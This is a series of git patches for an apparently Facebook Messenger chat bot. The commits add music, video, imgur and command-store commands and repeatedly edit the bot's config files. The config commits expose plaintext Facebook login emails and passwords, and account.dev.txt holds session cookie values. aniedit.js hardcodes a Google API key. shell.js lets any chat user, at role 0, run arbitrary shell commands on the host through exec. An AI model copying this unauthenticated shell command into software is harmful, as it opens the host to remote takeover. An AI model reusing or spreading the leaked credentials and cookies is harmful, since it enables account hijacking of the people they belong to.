1, author || "", `${guideBody.split("\n").join("\n│")}`); - sendWithAttachment = true; - } + let sendWithAttachment = false; // check subcommand need send with attachment or not - if (sendWithAttachment && guide.attachment) { - if (typeof guide.attachment == "object" && !Array.isArray(guide.attachment)) { - const promises = []; - formSendMessage.attachment = []; + if (args[1]?.match(/^-g|guide|-u|usage$/)) { + formSendMessage.body = getLang("onlyUsage", guideBody.split("\n").join("\n│")); + sendWithAttachment = true; + } + else if (args[1]?.match(/^-a|alias|aliase|aliases$/)) + formSendMessage.body = getLang("onlyAlias", aliasesString, aliasesThisGroup); + else if (args[1]?.match(/^-r|role$/)) + formSendMessage.body = getLang("onlyRole", roleText); + else if (args[1]?.match(/^-i|info$/)) + formSendMessage.body = getLang( + "onlyInfo", + configCommand.name, + description, + aliasesString, + aliasesThisGroup, + configCommand.version, + roleText, + configCommand.countDown || 1, + author || "" + ); + else { + formSendMessage.body = getLang( + "getInfoCommand", + configCommand.name, + description, + aliasesString, + aliasesThisGroup, + configCommand.version, + roleText, + configCommand.countDown || 1, + author || "", + guideBody.split("\n").join("\n│") + ); + sendWithAttachment = true; + } - for (const keyPathFile in guide.attachment) { - const pathFile = path.normalize(keyPathFile); + if (sendWithAttachment && guide.attachment) { + if (typeof guide.attachment == "object" && !Array.isArray(guide.attachment)) { + const promises = []; + formSendMessage.attachment = []; - if (!fs.existsSync(pathFile)) { - const cutDirPath = path.dirname(pathFile).split(path.sep); - for (let i = 0; i < cutDirPath.length; i++) { - const pathCheck = `${cutDirPath.slice(0, i + 1).join(path.sep)}${path.sep}`; // create path - if (!fs.existsSync(pathCheck)) - fs.mkdirSync(pathCheck); // create folder - } - const getFilePromise = axios.get(guide.attachment[keyPathFile], { responseType: 'arraybuffer' }) - .then(response => { - fs.writeFileSync(pathFile, Buffer.from(response.data)); - }); + for (const keyPathFile in guide.attachment) { + const pathFile = path.normalize(keyPathFile); - promises.push({ - pathFile, - getFilePromise - }); - } - else { - promises.push({ - pathFile, - getFilePromise: Promise.resolve() - }); - } - } + if (!fs.existsSync(pathFile)) { + const cutDirPath = path.dirname(pathFile).split(path.sep); + for (let i = 0; i < cutDirPath.length; i++) { + const pathCheck = `${cutDirPath.slice(0, i + 1).join(path.sep)}${path.sep}`; // create path + if (!fs.existsSync(pathCheck)) + fs.mkdirSync(pathCheck); // create folder + } + const getFilePromise = axios.get(guide.attachment[keyPathFile], { responseType: 'arraybuffer' }) + .then(response => { + fs.writeFileSync(pathFile, Buffer.from(response.data)); + }); - await Promise.all(promises.map(item => item.getFilePromise)); - for (const item of promises) - formSendMessage.attachment.push(fs.createReadStream(item.pathFile)); - } - } + promises.push({ + pathFile, + getFilePromise + }); + } + else { + promises.push({ + pathFile, + getFilePromise: Promise.resolve() + }); + } + } - return message.reply(formSendMessage); - } + await Promise.all(promises.map(item => item.getFilePromise)); + for (const item of promises) + formSendMessage.attachment.push(fs.createReadStream(item.pathFile)); } + } + + return message.reply(formSendMessage); + } + } }; function checkLangObject(data, langCode) { - if (typeof data == "string") - return data; - if (typeof data == "object" && !Array.isArray(data)) - return data[langCode] || data.en || undefined; - return undefined; + if (typeof data == "string") + return data; + if (typeof data == "object" && !Array.isArray(data)) + return data[langCode] || data.en || undefined; + return undefined; } function cropContent(content, max) { - if (content.length > max) { - content = content.slice(0, max - 3); - content = content + "..."; - } - return content; - } + if (content.length > max) { + content = content.slice(0, max - 3); + content = content + "..."; + } + return content; + } From ddcd7b5edf476aab660e89828df675a538c5b6f5 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 07:17:28 +0545 Subject: [PATCH 100/126] Create imgur.js --- scripts/cmds/imgur.js | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 scripts/cmds/imgur.js diff --git a/scripts/cmds/imgur.js b/scripts/cmds/imgur.js new file mode 100644 index 0000000000..a686413498 --- /dev/null +++ b/scripts/cmds/imgur.js @@ -0,0 +1,34 @@ +const axios = require('axios'); + +module.exports = { + config: { + name: "imgur", + version: "1.0", + author: "otinxsandip", + countDown: 1, + role: 0, + longDescription: "Imgur link", + category: "utility", + guide: { + en: "${pn} reply to image" + } + }, + + onStart: async function ({ message, api, event }) { + + const puti = event.messageReply?.attachments[0]?.url; + + if (!puti) { + return message.reply('Please reply to an image.'); + } + + try { + const res = await axios.get(`https://sandipapi.onrender.com/imgur?link=${encodeURIComponent(puti)}`); + const lado = res.data.uploaded.image; + return message.reply(lado); + } catch (error) { + console.error(error); + return message.reply('api sucks bro.'); + } + } +}; From ea2768e6ee1cc97dd4d255996d29db1aad7edded Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Fri, 15 Mar 2024 06:45:30 +0545 Subject: [PATCH 101/126] Update sing.js --- scripts/cmds/sing.js | 103 +++++++++++++++++++++++++++---------------- 1 file changed, 66 insertions(+), 37 deletions(-) diff --git a/scripts/cmds/sing.js b/scripts/cmds/sing.js index 68739aa64d..81e8e176af 100644 --- a/scripts/cmds/sing.js +++ b/scripts/cmds/sing.js @@ -1,54 +1,83 @@ -const axios = require('axios'); -const supportedIds = ["rachel", "drew", "clyde", "paul", "domi", "dave", "fin", "sarah", "antoni", "thomas", "charlie", "george", "emily", "elli", "callum", "patrick", "harry", "liam", "dorothy", "josh", "arnold", "charlotte", "alice", "matilda", "matthew", "james", "joseph", "jeremy", "michael", "ethan", "chris", "gigi", "freya", "brian", "grace", "daniel", "lily", "serena", "adam", "nicole", "bill", "jessie", "sam", "glinda", "giovanni", "mimi"]; +const axios = require("axios"); +const fs = require('fs-extra'); +const { getStreamFromURL, shortenURL, randomString } = global.utils; module.exports = { config: { - name: "voice", + name: "sing", version: "1.0", - author: "Rishad", - countDown: 5, + author: "Kshitiz", + countDown: 10, role: 0, - category: "Fun", - ShortDescription: "Generate voice using AI", - LongDescription: "Generates voice using an AI.", - guide: { - en: "{pn} (voice id) | texts\nExample: {pn} rachel | hey there\n{pn} list | Get the list of supported voice IDs" - } + shortDescription: "play song from spotify", + longDescription: "play song from spotify", + category: "music", + guide: "{pn} sing songname" }, - onStart: async function ({ api, args, message, event }) { - const { getPrefix, getStreamFromURL } = global.utils; - const p = getPrefix(event.threadID); + onStart: async function ({ api, event, args, message }) { + const a = await message.reply("downloading your song🕐.."); + + try { + let b = ''; + + const c = async () => { + const d = event.messageReply.attachments[0]; + if (d.type === "audio" || d.type === "video") { + const e = await shortenURL(d.url); + const f = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(e)}`); + return f.data.title; + } else { + throw new Error("Invalid attachment type."); + } + }; - const command = args.join(" ").split("|"); - if (command.length !== 2) { - if (args[0].toLowerCase() === 'list') { - return api.sendMessage(`Supported voice IDs are:\n ${supportedIds.join("\n")}`, event.threadID, event.messageID); + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + b = await c(); + } else if (args.length === 0) { + throw new Error("Please provide a song name."); + } else { + b = args.join(" "); } - return message.reply(`❌Invalid command format. Use it like this:\n${p}voice rachel | Hey there`); - } - const voiceId = command[0].trim().toLowerCase(); - const text = command[1].trim(); + const g = await axios.get(`https://spotify-play-iota.vercel.app/spotify?query=${encodeURIComponent(b)}`); + const h = g.data.trackURLs; + if (!h || h.length === 0) { + throw new Error("No track found for the provided song name."); + } - if (!supportedIds.includes(voiceId)) { - return message.reply(`❌Invalid voice ID. Supported IDs are:\n ${supportedIds.join("\n")}`); - } + const i = h[0]; + const j = await axios.get(`https://sp-dl-bice.vercel.app/spotify?id=${encodeURIComponent(i)}`); + const k = j.data.download_link; - const apiKey = 'fuck'; - const apiUrl = `https://for-devs.onrender.com/api/voice?text=${encodeURIComponent(text)}&voiceid=${voiceId}&apikey=${apiKey}`; + const l = await downloadTrack(k); - try { - const voiceStream = await getStreamFromURL(apiUrl); + const m = await shortenURL(k); - if (voiceStream) { - return api.sendMessage({ attachment: voiceStream }, event.threadID, event.messageID); - } else { - return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); - } - } catch (error) { - console.error(error); - return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); + await message.reply({ + body: `🎧 Playing: ${b}\nDownload Link: ${m}`, + attachment: fs.createReadStream(l) + }); + + console.log("Audio sent successfully."); + + } catch (n) { + console.error("Error occurred:", n); + message.reply(`An error occurred: ${n.message}`); + } finally { + message.unsend(a.messageID); } } }; + +async function downloadTrack(url) { + const o = await getStreamFromURL(url); + const p = `${__dirname}/cache/${randomString()}.mp3`; + const q = fs.createWriteStream(p); + o.pipe(q); + + return new Promise((resolve, reject) => { + q.on('finish', () => resolve(p)); + q.on('error', reject); + }); +} From b147cf411597f6dbe0beef1a281679acdbbbc816 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Fri, 15 Mar 2024 06:51:41 +0545 Subject: [PATCH 102/126] Update config.dev.json --- config.dev.json | 2 ++ 1 file changed, 2 insertions(+) diff --git a/config.dev.json b/config.dev.json index a3d9341fcd..372b145447 100644 --- a/config.dev.json +++ b/config.dev.json @@ -20,6 +20,8 @@ }, "adminBot": [ 100074772216830 + 100094335527121 + 100094779450086 ], "whiteListMode": { "enable": false, From 87a26445b23aa39b9a2ee62c2f08afb532a54e71 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Fri, 15 Mar 2024 06:57:58 +0545 Subject: [PATCH 103/126] Update config.dev.json --- config.dev.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config.dev.json b/config.dev.json index 372b145447..92ee424466 100644 --- a/config.dev.json +++ b/config.dev.json @@ -19,9 +19,9 @@ "ignoreCommand": [] }, "adminBot": [ - 100074772216830 - 100094335527121 - 100094779450086 + 100074772216830, + 100094335527121, + 100094779450086, ], "whiteListMode": { "enable": false, From e6288a029aefa286f0f30d1b1ec2602c27e65edb Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Fri, 15 Mar 2024 07:01:34 +0545 Subject: [PATCH 104/126] Update config.dev.json --- config.dev.json | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/config.dev.json b/config.dev.json index 92ee424466..a3d9341fcd 100644 --- a/config.dev.json +++ b/config.dev.json @@ -19,9 +19,7 @@ "ignoreCommand": [] }, "adminBot": [ - 100074772216830, - 100094335527121, - 100094779450086, + 100074772216830 ], "whiteListMode": { "enable": false, From 97149195fbac8b23e85ac0b8775f1a8e7d222183 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Wed, 20 Mar 2024 07:04:53 +0545 Subject: [PATCH 105/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index a3d9341fcd..ec78c67638 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "myowm0968@gmail.com", - "password": "HACKER.000", + "password": "Hacke.676", "2FASecret": "", "i_user": "", "proxy": null, From 39b191548d64be3d819f5c8ed5f45de7b83e701a Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Wed, 20 Mar 2024 08:46:05 +0545 Subject: [PATCH 106/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index ec78c67638..2069110390 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "myowm0968@gmail.com", - "password": "Hacke.676", + "password": "Hacker.676", "2FASecret": "", "i_user": "", "proxy": null, From cffe8861d141ee3dd72568097f1b3ed4a8a7c9cb Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 23 Mar 2024 14:32:11 +0545 Subject: [PATCH 107/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 2069110390..35c2de367b 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "myowm0968@gmail.com", - "password": "Hacker.676", + "password": "HACKER.676", "2FASecret": "", "i_user": "", "proxy": null, From dfe2e5594da057e13dafbaf5ee696f38c34458a0 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 30 Mar 2024 08:41:00 +0545 Subject: [PATCH 108/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 35c2de367b..c85d64095e 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "myowm0968@gmail.com", - "password": "HACKER.676", + "password": "MANASH JOSHI", "2FASecret": "", "i_user": "", "proxy": null, From 1f083a4145bac6021c2f7117ae3e8855e66975a4 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 30 Mar 2024 08:43:33 +0545 Subject: [PATCH 109/126] Create aniedit.js --- scripts/cmds/aniedit.js | 122 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 122 insertions(+) create mode 100644 scripts/cmds/aniedit.js diff --git a/scripts/cmds/aniedit.js b/scripts/cmds/aniedit.js new file mode 100644 index 0000000000..bd1d21a572 --- /dev/null +++ b/scripts/cmds/aniedit.js @@ -0,0 +1,122 @@ +const axios = require("axios"); +const fs = require("fs-extra"); +const os = require("os"); +const yts = require("yt-search"); +const ytdl = require("ytdl-core"); + +module.exports = { + sentVideos: [], + + config: { + name: "aniedit", + version: "2.0", + role: 0, + author: "Kshitiz & SKY", + cooldowns: 5, + shortDescription: "Fetch a random video from a YouTube playlist and send it", + longDescription: "", + category: "anime", + dependencies: { + "fs-extra": "", + "axios": "", + "ytdl-core": "", + "yt-search": "" + } + }, + onStart: async function ({ api, event, message }) { + try { + const senderID = event.senderID; + + const loadingMessage = await api.sendMessage("Fetching a random video anime video. Please wait...", event.threadID, null, event.messageID); + + const apiKey = "AIzaSyAO1tuGus4-S8RJID51f8WJAM7LXz1tVNc"; + const playlistId = "PLhTrUQSOqTqKBA4VWSN_VqqOb7xx4-VEY"; + + const playlistUrl = `https://www.googleapis.com/youtube/v3/playlistItems?key=${apiKey}&playlistId=${playlistId}&part=contentDetails&maxResults=50`; + const response = await axios.get(playlistUrl); + + const items = response.data.items; + const videoIds = items.map((item) => item.contentDetails.videoId); + + if (this.sentVideos.length === videoIds.length) { + + this.sentVideos = []; + } + + const unwatchedVideoIds = videoIds.filter((videoId) => !this.sentVideos.includes(videoId)); + + if (unwatchedVideoIds.length === 0) { + + api.unsendMessage(loadingMessage.messageID); + return api.sendMessage("No unwatched videos left in the playlist.", event.threadID, null, event.messageID); + } + + const randomVideoId = unwatchedVideoIds[Math.floor(Math.random() * unwatchedVideoIds.length)]; + + this.sentVideos.push(randomVideoId); + + const videoDetailsUrl = `https://www.googleapis.com/youtube/v3/videos?key=${apiKey}&id=${randomVideoId}&part=snippet`; + const videoResponse = await axios.get(videoDetailsUrl); + + const videoInfo = videoResponse.data.items[0].snippet; + + const randomVideoTitle = videoInfo.title; + + const cacheFilePath = os.tmpdir() + "/randomVideoTitle.txt"; + fs.writeFileSync(cacheFilePath, randomVideoTitle); + + const searchResults = await yts(randomVideoTitle); + + if (!searchResults.videos.length) { + + api.unsendMessage(loadingMessage.messageID); + return api.sendMessage("No video found based on the cached title.", event.threadID, null, event.messageID); + } + + const foundVideo = searchResults.videos[0]; + const videoUrl = foundVideo.url; + + const stream = ytdl(videoUrl, { filter: "audioandvideo" }); + const fileName = `${senderID}.mp4`; + const filePath = __dirname + `/cache/${fileName}`; + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading video: ${info.videoDetails.title}`); + }); + + stream.on('end', () => { + console.info('[DOWNLOADER] Downloaded'); + + if (fs.statSync(filePath).size > 26214400) { + fs.unlinkSync(filePath); + + api.unsendMessage(loadingMessage.messageID); + return api.sendMessage('❌ | The file could not be sent because it is larger than 25MB.', event.threadID, null, event.messageID); + } + + const message = { + body: `📹 | Here's the random anime video b\n\n🔮 | Title: ${randomVideoTitle}\n⏰ | Duration: ${foundVideo.duration.timestamp}`, + attachment: fs.createReadStream(filePath) + }; + + api.sendMessage(message, event.threadID, null, event.messageID, () => { + fs.unlinkSync(filePath); + }); + + + setTimeout(() => { + api.unsendMessage(loadingMessage.messageID); + }, 10000); + }); + } catch (error) { + console.error('[ERROR]', error); + api.sendMessage('An error occurred while processing the command.', event.threadID, null, event.messageID); + } + }, +}; From f5fc880890846e1650457604b879a09ec9dcd910 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 30 Mar 2024 08:46:39 +0545 Subject: [PATCH 110/126] Update sing.js --- scripts/cmds/sing.js | 135 ++++++++++++++++++++++--------------------- 1 file changed, 70 insertions(+), 65 deletions(-) diff --git a/scripts/cmds/sing.js b/scripts/cmds/sing.js index 81e8e176af..9e163bb64f 100644 --- a/scripts/cmds/sing.js +++ b/scripts/cmds/sing.js @@ -1,83 +1,88 @@ const axios = require("axios"); const fs = require('fs-extra'); -const { getStreamFromURL, shortenURL, randomString } = global.utils; - -module.exports = { - config: { - name: "sing", - version: "1.0", - author: "Kshitiz", - countDown: 10, - role: 0, - shortDescription: "play song from spotify", - longDescription: "play song from spotify", - category: "music", - guide: "{pn} sing songname" - }, - - onStart: async function ({ api, event, args, message }) { - const a = await message.reply("downloading your song🕐.."); +const path = require('path'); +const ytdl = require("ytdl-core"); +const yts = require("yt-search"); +async function sing(api, event, args, message) { + api.setMessageReaction("🕢", event.messageID, (err) => {}, true); try { - let b = ''; + let title = ''; - const c = async () => { - const d = event.messageReply.attachments[0]; - if (d.type === "audio" || d.type === "video") { - const e = await shortenURL(d.url); - const f = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(e)}`); - return f.data.title; + const extractShortUrl = async () => { + const attachment = event.messageReply.attachments[0]; + if (attachment.type === "video" || attachment.type === "audio") { + return attachment.url; + } else { + throw new Error("Invalid attachment type."); + } + }; + + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + const shortUrl = await extractShortUrl(); + const musicRecognitionResponse = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(shortUrl)}`); + title = musicRecognitionResponse.data.title; + } else if (args.length === 0) { + message.reply("Please provide a lyrics name"); + return; } else { - throw new Error("Invalid attachment type."); + title = args.join(" "); } - }; - if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { - b = await c(); - } else if (args.length === 0) { - throw new Error("Please provide a song name."); - } else { - b = args.join(" "); - } + const searchResults = await yts(title); + if (!searchResults.videos.length) { + message.reply("No song and lyrics found for the given query."); + return; + } - const g = await axios.get(`https://spotify-play-iota.vercel.app/spotify?query=${encodeURIComponent(b)}`); - const h = g.data.trackURLs; - if (!h || h.length === 0) { - throw new Error("No track found for the provided song name."); - } + const videoUrl = searchResults.videos[0].url; + const stream = ytdl(videoUrl, { filter: "audioonly" }); - const i = h[0]; - const j = await axios.get(`https://sp-dl-bice.vercel.app/spotify?id=${encodeURIComponent(i)}`); - const k = j.data.download_link; + const fileName = `lado.mp3`; + const filePath = path.join(__dirname, "cache", fileName); + const writer = fs.createWriteStream(filePath); - const l = await downloadTrack(k); + stream.pipe(writer); - const m = await shortenURL(k); + writer.on('finish', async () => { + const audioStream = fs.createReadStream(filePath); - await message.reply({ - body: `🎧 Playing: ${b}\nDownload Link: ${m}`, - attachment: fs.createReadStream(l) - }); + + const lyricsResponse = await axios.get(`https://lyrist.vercel.app/api/${encodeURIComponent(title)}`); + const { lyrics } = lyricsResponse.data; - console.log("Audio sent successfully."); + + const messageBody = `🎧 Playing: ${title}\n\n${lyrics}`; - } catch (n) { - console.error("Error occurred:", n); - message.reply(`An error occurred: ${n.message}`); - } finally { - message.unsend(a.messageID); - } - } -}; + + message.reply({ body: messageBody, attachment: audioStream }); -async function downloadTrack(url) { - const o = await getStreamFromURL(url); - const p = `${__dirname}/cache/${randomString()}.mp3`; - const q = fs.createWriteStream(p); - o.pipe(q); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); - return new Promise((resolve, reject) => { - q.on('finish', () => resolve(p)); - q.on('error', reject); - }); + writer.on('error', (error) => { + console.error("Error:", error); + message.reply("Error occurred while processing the song."); + }); + } catch (error) { + console.error("Error:", error); + message.reply("Error occurred while processing the song."); + } } + +module.exports = { + config: { + name: "sing", + version: "1.0", + author: "Vex_Kshitiz", + countDown: 10, + role: 0, + shortDescription: "play music withs its lyrics", + longDescription: "play music witg it lyrics.", + category: "music", + guide: "{p] play lyricsName" + }, + onStart: function ({ api, event, args, message }) { + return sing(api, event, args, message); + } +}; From 99b4b5e7523eeab359a0bd8ee4f8edde2a9069a8 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 30 Mar 2024 08:51:21 +0545 Subject: [PATCH 111/126] Create shell.js --- scripts/cmds/shell.js | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 scripts/cmds/shell.js diff --git a/scripts/cmds/shell.js b/scripts/cmds/shell.js new file mode 100644 index 0000000000..9873124e51 --- /dev/null +++ b/scripts/cmds/shell.js @@ -0,0 +1,41 @@ +const { exec } = require('child_process'); + +module.exports = { + config: { + name: "shell", + version: "1.0", + author: "Samir", + countDown: 5, + role: 0, + shortDescription: "Execute shell commands", + longDescription: "", + category: "shell", + guide: { + vi: "{p}{n} ", + en: "{p}{n} " + } + }, + + onStart: async function ({ args, message }) { + const command = args.join(" "); + + if (!command) { + return message.reply("Please provide a command to execute."); + } + + exec(command, (error, stdout, stderr) => { + if (error) { + console.error(`Error executing command: ${error}`); + return message.reply(`An error occurred while executing the command: ${error.message}`); + } + + if (stderr) { + console.error(`Command execution resulted in an error: ${stderr}`); + return message.reply(`Command execution resulted in an error: ${stderr}`); + } + + console.log(`Command executed successfully:\n${stdout}`); + message.reply(`Command executed successfully:\n${stdout}`); + }); + } +}; From ef26b101ce2e9456332306ad65ed54de25d4e9c1 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 8 Apr 2024 08:28:53 +0545 Subject: [PATCH 112/126] Update config.dev.json --- config.dev.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config.dev.json b/config.dev.json index c85d64095e..580387a1ce 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { - "email": "myowm0968@gmail.com", - "password": "MANASH JOSHI", + "email": "guysh0686@gmail.com", + "password": "HACKER.001", "2FASecret": "", "i_user": "", "proxy": null, From dabc9a5843becefe28e424a3c6f106ec28204358 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 8 Apr 2024 08:30:47 +0545 Subject: [PATCH 113/126] Update config.dev.json --- config.dev.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config.dev.json b/config.dev.json index 580387a1ce..05a163ddb2 100644 --- a/config.dev.json +++ b/config.dev.json @@ -114,7 +114,7 @@ }, "hideNotiMessage": { "commandNotFound": false, - "adminOnly": false, + "adminOnly": true, "threadBanned": false, "userBanned": false, "needRoleToUseCmd": false, @@ -128,7 +128,7 @@ "message_unsend": true, "message_reply": true, "event": true, - "read_receipt": false, + "read_receipt": true, "typ": false, "presence": false }, From deaf8d93b38d91735394488bd625de089abf2a07 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 8 Apr 2024 08:38:16 +0545 Subject: [PATCH 114/126] Create cmdstore.js --- scripts/cmds/cmdstore.js | 95 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 95 insertions(+) create mode 100644 scripts/cmds/cmdstore.js diff --git a/scripts/cmds/cmdstore.js b/scripts/cmds/cmdstore.js new file mode 100644 index 0000000000..bfac30c540 --- /dev/null +++ b/scripts/cmds/cmdstore.js @@ -0,0 +1,95 @@ +const axios = require("axios"); + +module.exports = { + config: { + name: 'cmdstore', + version: '1.0', + author: 'Vex_Kshitiz', + role: 0, + shortDescription: 'store of cmds', + longDescription: 'store of cmds all made by kshitiz', + category: 'utility', + guide: { + en: 'To view commands: {p}cmdstore\nTo paginate: {p}cmdstore {page}\nTo search: {p}cmdstore {search}' + } + }, + + onStart: async function ({ api, event, args, message }) { + try { + let page = 1; + let searchQuery = ""; + + if (args.length === 1 && !isNaN(parseInt(args[0]))) { + page = parseInt(args[0]); + } else if (args.length === 1 && typeof args[0] === 'string') { + searchQuery = args[0]; + } else if (args.length === 2 && args[0] === 'search' && typeof args[1] === 'string') { + searchQuery = args[1]; + } + + const response = await axios.get("https://cmd-store.vercel.app/kshitiz"); + const commands = response.data; + + let filteredCommands = commands; + if (searchQuery) { + filteredCommands = commands.filter(cmd => cmd.cmdName.toLowerCase().includes(searchQuery.toLowerCase())); + } + + const startIndex = (page - 1) * 10; + const endIndex = page * 10; + const paginatedCommands = filteredCommands.slice(startIndex, endIndex); + + let replyMessage = ""; + paginatedCommands.forEach(cmd => { + replyMessage += ` + 𝗜𝗗:${cmd.id} + 𝗖𝗠𝗗:${cmd.cmdName} + 𝗖𝗢𝗗𝗘:${cmd.codeLink} + 𝗜𝗡𝗙𝗢:${cmd.description} + ----------------------------------------------`; + }); + + if (replyMessage === "") { + replyMessage = "No commands found."; + } + + message.reply(replyMessage, (err, info) => { + global.GoatBot.onReply.set(info.messageID, { + commandName: "cmdstore", + messageID: info.messageID, + author: event.senderID, + commands, + }); + }); + } catch (error) { + console.error(error); + message.reply("An error occurred while fetching commands."); + } + }, + + onReply: async function ({ api, event, Reply, args, message }) { + const { author, commandName, commands } = Reply; + + if (event.senderID !== author || !commands) { + return; + } + + const commandID = parseInt(args[0], 10); + + if (isNaN(commandID) || !commands.some(cmd => cmd.id === commandID)) { + message.reply("Invalid input.\nPlease provide a valid command ID."); + return; + } + + const selectedCommand = commands.find(cmd => cmd.id === commandID); + + let replyMessage = ` + 𝗜𝗗:${selectedCommand.id} + 𝗖𝗠𝗗:${selectedCommand.cmdName} + 𝗖𝗢𝗗𝗘:${selectedCommand.codeLink} + 𝗜𝗡𝗙𝗢:${selectedCommand.description}`; + + message.reply(replyMessage); + global.GoatBot.onReply.delete(event.messageID); + }, +}; From 51737c67497afe71508c9fd14ea20b4ac71a21ff Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 8 Apr 2024 08:40:38 +0545 Subject: [PATCH 115/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 05a163ddb2..61003b7d9d 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "guysh0686@gmail.com", - "password": "HACKER.001", + "password": "terobau_111", "2FASecret": "", "i_user": "", "proxy": null, From cb5e426f82f3851cc6e65ff0cadca8f22b93471b Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 8 Apr 2024 08:51:14 +0545 Subject: [PATCH 116/126] Update account.dev.txt --- account.dev.txt | 90 +++++++++++++++++++++++++++++-------------------- 1 file changed, 54 insertions(+), 36 deletions(-) diff --git a/account.dev.txt b/account.dev.txt index ab4d86e29a..6a1faf89b2 100644 --- a/account.dev.txt +++ b/account.dev.txt @@ -1,110 +1,128 @@ [ { "key": "dbln", - "value": "%7B%22100074772216830%22%3A%22tVoIjhoD%22%2C%2261555275464534%22%3A%22yjjHa04F%22%7D", + "value": "%7B%22100074772216830%22%3A%22xAX3thAR%22%7D", "domain": "facebook.com", "path": "/login/device-based/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "datr", - "value": "BaeeZTbWioaazmt0uK9ecGyP", + "value": "M5YBZvfeYXJ52lPakNBqiZC-", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "sb", - "value": "BaeeZQN_-HYgGfLcau0t7GbV", + "value": "M5YBZuypgYfio4rhvKvXsUGG", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { - "key": "ps_n", + "key": "ps_l", "value": "0", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { - "key": "ps_l", + "key": "ps_n", "value": 